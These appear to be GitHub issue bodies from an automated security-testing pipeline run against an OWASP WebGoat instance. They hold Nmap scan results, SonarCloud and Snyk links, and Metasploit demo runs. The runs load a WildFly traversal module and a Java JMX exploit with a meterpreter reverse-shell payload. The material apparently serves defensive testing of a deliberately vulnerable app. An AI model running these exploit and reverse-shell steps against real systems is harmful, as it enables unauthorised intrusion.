| "timestamp" : "2023-11-06T15:47:09.690+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
| "path" : "/"  
| HTTPOptions:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block

| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Mon, 06 Nov 2023 15:47:27 GMT  
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-11-06T15:47:27.284+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
|\_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=11/6%Time=65490A7D%P=x86\_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Mon, 06 Nov 2023 15:47:0

SF:9 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Mon, 06\x

SF:20Nov 2023 15:47:10 GMT

")%r(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Mon, 06

SF:0Nov 2023 15:47:10 GMT

")%r(Socks5,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n  
SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-  
SF:Length: 0 Connection: close  
")%r(Help,42,"HTTP/1.1  
SF:400 Bad Request Content-Length: 0 Connection: close  
SF:  
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont  
SF:ent-Length: 0 Connection: close  
")%r(TerminalServerCook  
SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co  
SF:nnection: close  
")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba  
SF:d Request Content-Length: 0 Connection: close  
")%  
SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:  
SF:00 Connection: close  
")%r(SMBProgNeg,42,"HTTP/1.1 400\n  
SF:x20Bad Request Content-Length: 0 Connection: close  
SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng  
SF:th: 0 Connection: close  
")%r(LDAPSearchReq,42,"HTTP/1.  
SF:1 400 Bad Request Content-Length: 0 Connection: cl  
SF:ose  
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co  
SF:ntent-Length: 0 Connection: close  
")%r(WMSRequest,42,"H  
SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection  
SF:: close  
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques  
SF:t Content-Length: 0 Connection: close  
");  
=====NEXT SERVICE FINGERPRINT (SUBMIT  
INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=11/6%Time=65490A7D%P=x86\_64-pc-linux-gnu%r(Ge  
SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach  
SF:e-Control: no-cache, no-store, max-age=0, must-revalidate  
SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra  
SF:me-Options: DENY Date: Mon, 06 Nov 2023 15:47:09\x  
SF:20GMT Connection: close Vary: Origin Vary: Access-Con  
SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con  
SF:tent-Type-Options: nosniff Content-Type: application/json \n  
SF:r { \"timestamp\" : \"2023-11-06T15:47:09.690+00:00\"  
SF:, \"status\" : 404, \"error\" : \"Not  
SF:Found\", \"path\" : \"/\n }\"}%r(WMSRequest,42,\"HTTP/1.  
SF:1 400 Bad Request Content-Length: 0 Connection: cl  
SF:ose  
\")%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request C  
SF:ontent-Length: 0 Connection: close  
\")%r(SqueezeCenter\_C  
SF:LI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 Co  
SF:nnection: close  
\")%r(GenericLines,42,\"HTTP/1.1 400 Bad  
SF: Request Content-Length: 0 Connection: close  
\")%r  
SF:(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0  
SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida  
SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X  
SF:-Frame-Options: DENY Date: Mon, 06 Nov 2023 15:47:  
SF:27 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA  
SF:CE, OPTIONS, PATCH Connection: close Vary: Origin  
SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque  
SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap  
SF:plication/json  
{ \"timestamp\" : \"2023-11-06T15:  
SF:47:27.284+00:00\", \"status\" : 404, \"error\"

SF:" : \"Not Found\", \"path\" : \"^\" }")%r(RTSP

SF:Request,42,\"HTTP/1.1 400 Bad Request Content-Length: 0\\n

SF:r Connection: close

");

Device type: general purpose|firewall|storage-misc

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), WatchGuard Firewall 11.X (86%), Synology DiskStation Manager 5.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.10 cpe:/o:watchguard:fireware:11.8 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstationmanager:5.1 cpe:/o:linux:linux\_kernel:4.9

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), WatchGuard Firewall 11.8 (86%), Linux 3.10 (85%), Synology DiskStation Manager 5.1 (85%), Linux 2.6.35 (85%), Linux 4.9 (85%), Linux 2.6.39 (85%), Linux 3.10 - 3.12 (85%), Linux 3.4 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5538.92 ms 20.204.4.44

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 321.49 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 15:49 UTC

Nmap scan report for 20.204.4.44

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.75 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 15:49 UTC

Nmap scan report for 20.204.4.44

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds



# Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 651

GitHub Issue URL : [Here!](#)

**SonarCloud**  
**"priority High"**

## SonarCloud Scan for OWASP WebGoat

Go to [https://sonarcloud.io/project/overview?id=pradyumna-muppirala\\_WebGoatSAST](https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST) for full report of SonarCloud with Github SSO.

# Priority High - Snyk Report

GitHub Issue number # 650

GitHub Issue URL : [Here!](#)

**Snyk\_scan**  
**"priority High"**

## Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

# Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 649

GitHub Issue URL : [Here!](#)

**parrotOS**  
**metasploit**  
**"priority High"**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Ign:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Ign:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Fetchd 19.6 MB in 51s (385 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

```
Ign:1 https://deb.parrot.sh/parrot parrot InRelease
Ign:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease
Ign:3 https://deb.parrot.sh/parrot parrot-backports InRelease
Hit:1 https://deb.parrot.sh/parrot parrot InRelease
Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease
Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease
Reading package lists...
Building dependency tree...
Reading state information...
49 packages can be upgraded. Run 'apt list --upgradable' to see them.
Cleaning up any existing old code copies of security tests...
This is not a secure way to check out code;
Getting the latest code copy for all security tests...
```

```
=====
Metasploit Framework Exploit Demo :
```

```
=====
Target Web Goat Instance IP Address : 20.204.4.44
```

```
Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking
```

```
=====
Sample attack executions from msfconsole CLI >>>
```

```
Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>
```

```
[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.
```

```
resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal
```

```
resource (./src/exploitwildflydir_traversal.rc)> show options
```

```
Module options (auxiliary/scanner/http/wildfly_traversal):
```

```
Name Current Setting Required Description
```

```
-----
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
```

```
RELATIVEFILEPATH standalone
```

```
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
basics/using-metasploit.html
```

```
RPORT 8080 yes The target port (TCP)
```

```
SSL false no Negotiate SSL/TLS for outgoing connections
```

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL\_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[\*] resource (./src/exploitwildflydir\_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir\_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir\_traversal.rc)> exit

-----  
Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[\*] Processing ./src/exploitjavajmxreversehttps.rc for ERB directives.

resource (./src/exploitjavajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[\*] No payload configured, defaulting to java/meterpreter/reverse\_tcp

resource (./src/exploitjavajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name Current Setting Required Description

-----  
JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX\_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX\_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse\_tcp):

Name Current Setting Required Description

-----  
LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[\*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit/javajmxreversehttps.rc)> use payload/java/meterpreter/  
reverse\_https

resource (./src/exploit/javajmxreversehttps.rc)> exploit

[\*] Payload Handler Started as Job

resource (./src/exploit/javajmxreversehttps.rc)> exit

=====

# Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 648

GitHub Issue URL : [Here!](#)

**parrotOS**  
**nmap**  
**"priority Medium"**

Nmap vulnerability scanning  
for 20.204.4.44

Making sure that parrot OS docker image has all the latest updates...

Ign:1 https://deb.parrot.sh/parrot parrot InRelease

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Ign:5 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages

Get:6 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:7 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:8 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Get:9 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:10 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Ign:11 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages

Get:5 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:11 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Fetched 19.6 MB in 1min 21s (242 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...



Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 14:58 UTC

Nmap scan report for 20.204.4.44

Host is up (0.20s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 c3:b1:50:24:dd:77:f6:98:25:5d:60:f4:bc:44:ac:de (ECDSA)

|\_ 256 86:f1:a9:e5:6b:92:b2:33:70:ae:bc:7c:ed:cb:4c:ab (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

|\_ http-title: Site doesn't have a title.

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 06 Nov 2023 15:01:41 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close  
| GetRequest:  
| HTTP/1.1 404 Not Found  
| Connection: close  
| Content-Length: 0  
| Date: Mon, 06 Nov 2023 15:01:39 GMT  
| HTTPOptions:  
| HTTP/1.1 404 Not Found  
| Connection: close  
| Content-Length: 0  
|\_ Date: Mon, 06 Nov 2023 15:01:40 GMT  
9090/tcp open zeus-admin?  
| fingerprint-strings:  
| GenericLines, RTSPRequest, SqueezeCenter\_CLI, WMSRequest, ibm-db2-das:  
| HTTP/1.1 400 Bad Request  
| Content-Length: 0  
| Connection: close  
| GetRequest:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Mon, 06 Nov 2023 15:01:39 GMT  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-11-06T15:01:39.909+00:00",

| "status" : 404,  
| "error" : "Not Found",  
| "path" : "/"  
| HTTPOptions:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Mon, 06 Nov 2023 15:01:57 GMT  
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-11-06T15:01:57.512+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
|\_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=11/6%Time=6548FFD4%P=x86\_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Mon, 06 Nov 2023 15:01:3

SF:9 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Mon, 06\x

SF:20Nov 2023 15:01:40 GMT

")%r(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Mon, 06

SF:0Nov 2023 15:01:41 GMT

")%r(Socks5,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-

SF:Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:400 Bad Request Content-Length: 0 Connection: close

SF:

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont

SF:ent-Length: 0 Connection: close

")%r(TerminalServerCook

SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co

SF:nnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

")%

SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:

SF:00 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400\n

SF:x20Bad Request Content-Length: 0 Connection: close

SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng

SF:th: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1.

SF:1 400 Bad Request Content-Length: 0 Connection: cl

SF:ose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co

SF:Content-Length: 0 Connection: close  
")%r(WMSRequest,42,"H  
SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connection  
SF:: close  
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques  
SF:t Content-Length: 0 Connection: close  
");  
=====NEXT SERVICE FINGERPRINT (SUBMIT  
INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=11/6%Time=6548FFD4%P=x86\_64-pc-linux-  
gnu%r(Ge  
SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach  
SF:e-Control: no-cache, no-store, max-age=0, must-revalidate  
SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra  
SF:me-Options: DENY Date: Mon, 06 Nov 2023 15:01:39\x  
SF:20GMT Connection: close Vary: Origin Vary: Access-Con  
SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con  
SF:Content-Type-Options: nosniff Content-Type: application/json \n  
SF:r { \"timestamp\" : \"2023-11-06T15:01:39.909+00:00\"  
SF:, \"status\" : 404, \"error\" : \"Not  
SF:Found\", \"path\" : \"\" } )%r(WMSRequest,42,\"HTTP/1.  
SF:1 400 Bad Request Content-Length: 0 Connection: cl  
SF:ose  
")%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request C  
SF:Content-Length: 0 Connection: close  
")%r(SqueezeCenter\_C  
SF:LI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 Co  
SF:nnection: close  
")%r(GenericLines,42,\"HTTP/1.1 400 Bad  
SF: Request Content-Length: 0 Connection: close  
")%r  
SF:(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0  
SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida

SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X  
SF:-Frame-Options: DENY Date: Mon, 06 Nov 2023 15:01:  
SF:57 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA  
SF:CE, OPTIONS, PATCH Connection: close Vary: Origin  
SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque  
SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap  
SF:plication/json  
{ \"timestamp\" : \"2023-11-06T15:  
SF:01:57.512+00:00\", \"status\" : 404, \"error\\n  
SF:\" : \"Not Found\", \"path\" : \"\" }\"}%r(RTSP  
SF:Request,42,\"HTTP/1.1 400 Bad Request Content-Length: 0\\n  
SF:r Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Firewall 11.X (86%)

OS CPE: *cpe:/o:linux:linuxkernel:4.0 cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.10 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation\_manager:5.1 cpe:/o:watchguard:fireware:11.8*

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 2.6.39 (85%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: *cpe:/o:linux:linux\_kernel*

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5433.50 ms 20.204.4.44

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 320.69 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 15:03 UTC

Nmap scan report for 20.204.4.44

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 15:03 UTC

Nmap scan report for 20.204.4.44

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds



# Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 647

GitHub Issue URL : [Here!](#)

**parrotOS**  
**metasploit**  
**"priority High"**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Ign:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:8 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Ign:9 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages

Get:10 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:11 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.6 MB in 42s (471 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

